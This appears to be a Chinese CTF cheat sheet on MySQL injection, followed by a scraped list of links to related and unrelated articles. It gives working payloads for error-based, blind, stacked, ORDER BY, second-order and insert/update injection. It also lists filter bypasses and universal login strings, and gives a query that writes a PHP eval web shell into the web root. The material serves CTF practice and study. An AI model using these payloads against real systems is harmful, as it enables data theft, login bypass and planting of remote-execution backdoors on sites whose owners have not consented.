CTF SQL注入
一、宽字节注入
原理:GBK编码、URL转码
利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)
例如:' -> ' -> %5C%27
%df' -> %df' -> %df%5C%27sql字符集特性
MYSQL 中 utf8_unicode_ci 和 utf8_general_ci 两种编码格式, utf8_general_ci不区分大小写, Ä = A, Ö = O, Ü = U 这三种条件都成立, 对于utf8_general_ci下面的等式成立:ß = s ,但是,对于utf8_unicode_ci下面等式才成立:ß = ss 。
可以看到大写O和Ö是相等的
SQL注入常用URL编码
空格 %20
' %27
# %23
\ %5Cphp-addslashes函数:在特殊字符前加上反斜线\来转义
如何从addslashes函数逃逸?
\前面再加一个\,变成\\',这样\就被转义了- 把\弄没
表名或列名可以使用16进制转码来实现
例如:ctf -> 0x637466
sqlmap中加参数--hex
二、基于约束的注入
- 原理:超过数据类型长度的部分不会被插进表里,如果不将字段作为唯一字段,可以插入重复的数据
- 例如:注册admin + 很多空格 + 1,成功以admin身份登录
三、报错注入
公式
and (select 1 from (select count(*),concat(user(),floor(rand(0)*2)x from information_schema.tables group by x)a)); or updatexml(1,concat(0x7e,(version())),0)//最大长度是32位 and extractvalue(1,concat(0x7e,(select database()))) and exp(~(select * from (select user())a)); and updatexml(1,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,41),1)
四、时间盲注
原理:能够截取字符串,同时触发延时即可
SELECT * FROM table WHERE id = 1 AND (if(SUBSTR(database(),1,1)=' ',sleep(5),null))
SELECT * FROM table WHERE id = 1 AND (if(acsii(substr(database(),1,1))=100,sleep(5),null))相关函数
延时方法
SLEEP(duration)

BENCHMARK(count,expr)

例如select benchmark(10000000,sha(1))笛卡尔积
例如SELECT count(*) FROM information_schema.columns A,information_schema.columns B, information_schema.tables C;
ps:COUNT(*)计算行数GET_LOCK(str,timeout)
需要开启两个会话才能生效

RLIKE
通过rpad或repeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短
例如select concat(rpad(1,9999999,'a'),rpad(1,9999999,'a'),···,rpad(1,9999999,'a')) RLIKE '(a.*)+(a.*)+···+(a.*)+b

条件
IF(expr1,expr2,expr3)

CASE WHEN [condition] when [result]

字符串截取
SUBSTR(SUBSTRING)
substr同substring,有多种参数选择
SUBSTRING(str,pos),SUBSTRING(str FROM pos),SUBSTRING(str,pos,len),SUBSTRING(str FROM pos FOR len)

MID(str,pos,len)同SUBSTRING(str,pos,len)
SUBSTRING_INDEX(str,delim,count)

LEFT(str,len)

字符串转换
- ASCII()
- ORD()
- CHR()
五、bool盲注
- 原理:利用回显的消息不同,判断输入表达式是否正确
- 常用函数
基本同时间盲注
六、order by的注入
使用ORDER BY子句对查询结果按一列或多列排序。
ORDER BY子句的语法格式为:
ORDER BY {column_name [ASC|DESC]}[,...n]
- ORDER BY语句默认按照升序对记录进行排序
- 在不知道列名的情况下可以通过列的序号来指代相应的列。但是这里无法做运算
- 当ORDER BY注入能通过返回错误信息是,也可以考虑使用报错注入
- 根据不同的列排序,会返回不同的结果,也可以使用类似于bool型盲注的形式来注入
- ORDER BY后面字段可以通过位运算符(|&^~)来使代码被执行,例如
select * from xxx order by id|(sleep(5)) - ORDER BY在括号中时后面可以跟UNION,例如
(select 1,2,3 order by 3 asc)union(select 2,3,4)
六、INSERT、UPDATE、DELETE相关的注入
INSERT

例如:
insert into users (id,username,password) values (2,'attacker' or updatexml(1,concat(0x7e,database()),0), 'password')UPDATE

例如:
update users set password='password' or updatexml(1,concat(0x7e,database()),0) where id=2delete

例如:
delete from users where id=2 or updatexml(1,concat(0x7e,database()),0)
七、堆叠注入
- 原理:利用
;结束语句并插入自己的sql语句 - 适用:
- Mysql、SqlServer、Postgresql(Oracle不行)
- 只有当调用数据库函数支持执行多条sql语句时才能够使用,例如mysqli_multi_query()函数就支持多条sql语句同时执行
- PDO默认支持多语句查询,如果php版本小于5.5.21或者创建PDO实例时未设置PDO::MYSQL_ATTR_MULTI_STATEMENTS为false时可能会造成堆叠注入
- 例子
利用存储过程绕过select过滤http://web16.buuoj.cn/? inject=1%27;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare%20execsql%20from%20@a;execute%20execsql;#
使用了大小写绕过strstr($inject, "set") && strstr($inject, "prepare")
去掉URL编码后
?inject=1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
八、二次注入
用这样的payload将数据带出来
0'^(select hex(hex(substr((select * from flag) from {i} for 1))))^'0
两次hex是为了将第一次hex中的字母变成数字,substr是因为如果hex的值太大,sql会变成科学计数法,丢失精度
九、文件读写
select @@secure_file_priv
secure_file_priv
- 1、限制mysqld 不允许导入 | 导出
--secure_file_prive=null - 2、限制mysqld 的导入 | 导出 只能发生在/tmp/目录下
--secure_file_priv=/tmp/ - 3、不对mysqld 的导入 | 导出做限制
--secure_file_priv=
load_file读文件
写文件
select 0x3C3F706870206576616C28245F524551554553545B2761275D293B203F3E into outfile '/var/www/html/1.php'
# <?php eval($_REQUEST['a']); ?>
十、常用绕过
- 空格
- /**/
- =
- like
- regexp
- !(<>)
- '
- 转义符
\ - 16进制(例如:ctf -> 0x637466)
- 转义符
- ,
- union注入使用join,例如
3' union select * from (select 1) a join (select 2 ) b %23 - substr from for
- if->case when
- union注入使用join,例如
其它重要绕过参考:SQL注入有趣姿势总结
Sql注入笔记
SQL注入之骚姿势小记
sql注入总结(一)--2018自我整理
十一、万能密码
select * from admin where username = '' and password = ''
| username | password |
|---|---|
| admin'# | |
| '+' | '+' |
| aaa'=' | aaa'=' |
| 1\ | '^'1 |
| '%1# | |
| '=0# |
CTF SQL注入的更多相关文章
- 一次简单的ctf SQL注入绕过
注入地址:http://103.238.227.13:10087/index.php?id=1 //过滤sql $array = array('table','union','and','or','l ...
- CTF SQL注入知识点
理解常用的登录判断 select * from user where username='admin' and password='123' 数据库元信息 infomation_schema 懂PHP ...
- CTF比赛中SQL注入的一些经验总结
ctf中sql注入下的一些小技巧 最近花了一点时间总结了各大平台中注入的trick,自己还是太菜了,多半都得看题解,就特此做了一个paper方便总结 注释符 以下是Mysql中可以用到的单行注释符: ...
- union注入的几道ctf题,实验吧简单的sql注入1,2,这个看起来有点简单和bugku的成绩单
这几天在做CTF当中遇到了几次sql注入都是union,写篇博客记录学习一下. 首先推荐一篇文章“https://blog.csdn.net/Litbai_zhang/article/details/ ...
- CTF—WEB—sql注入之宽字节注入
宽字节注入 宽字节注入是利用mysql的一个特性,mysql在使用GBK编码(GBK就是常说的宽字节之一,实际上只有两字节)的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字 ...
- CTF—WEB—sql注入之无过滤有回显最简单注入
sql注入基础原理 一.Sql注入简介 Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手 ...
- “百度杯”CTF比赛 十月场-Getflag(md5碰撞+sql注入+网站绝对路径)
进去md5碰撞,贴一下脚本代码 import hashlib def md5(value): return hashlib.md5(str(value).encode("utf-8" ...
- sql注入、csrf
◎sql注入产生的原因?又如何防御sql注入? SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用 ...
- sql注入总结(一)--2018自我整理
SQL注入总结 前言: 本文和之后的总结都是进行总结,详细实现过程细节可能不会写出来~ 所有sql语句均是mysql数据库的,其他数据库可能有些函数不同,但是方法大致相同 0x00 SQL注入原理: ...
随机推荐
- 【开发工具】- Idea.2018.02注册码激活
1.从下面地址下载一个jar包,名称是 JetbrainsCrack-3.1-release-enc.jar 下载地址: 链接: https://pan.baidu.com/s/1VZjklI3qh ...
- 图解HTTP(二)
第四章 返回结果的HTTP状体码 1.状态码告知从服务器返回的结果 类别 原因短语 1XX Infomational信息性状态码 接收的请求正在处理中 2XX Success成功状态码 请求正常处 ...
- JS去除字符串中的中括号
var str = '这是一个字符串[html]语句;[html]字符串很常见'; alert(str.replace(/\[|]/g,''));//移除字符串中的所有[]括号(不包括其内容) //输 ...
- Sublime Text3的安装(package control error 或者 there are no package available for installation等问题)
Sublime是一款非常好用的代码编辑器.Sublime Text具有漂亮的用户界面和强大的功能,例如代码缩略图,多种语言的插件,代码段等.还可自定义键绑定,菜单和工具栏.Sublime Text 的 ...
- Oracle恢复流程图
本图来自于网络,想当初小麦苗刚开始接触备份恢复的时候,就是靠着这张图来学习的,今天把这张图分享给大家,共勉. ............................................. ...
- GNS3、Wireshark、SecureCRT 环境部署
本次GNS3环境部署教程基于官方推荐的稳定版1.5.4.初次接触此软件,详细的使用方法不是很清楚,所以以此作为学习记录,仅供参考,后期补充. 软件介绍 GNS3 GNS3是一款具有图形化界面可以运行在 ...
- ArcGIS pro 发布地图服务(一)动态地图服务
1.软件:arcgis pro 2.4 数据:.mxd文档. 2.导入mxd文档. 3.登录portal账号 4.分析—发布 5.在server中的地图服务 JavaScript api 查看 6. ...
- python代码规范 自动优化工具Black
自动优化工具Black 在众多代码格式化工具中,Black算是比较新的一个,它***的特点是可配置项比较少,个人认为这对于新手来说是件好事,因为我们不必过多考虑如何设置Black,让 Black 自己 ...
- Kotlin协程作用域与构建器详解
在上次我们是通过了这种方式来创建了一个协程: 接着再来看另一种创建协程的方式: 下面用它来实现上一次程序一样的效果,先来回顾一下上一次程序的代码: 好,下面改用runBlocking的方式: 运行一下 ...
- Kotlin函数式编程范式深入剖析
继续学习Kotlin的函数式编程,先定义一个高阶函数: 其实上面这种调用方式在Kotlin用得不多,反而是将Lambda表达式放到方法体中使用得较频繁,如下: 接下来定义一个扩展方法,用来对字符串进行 ...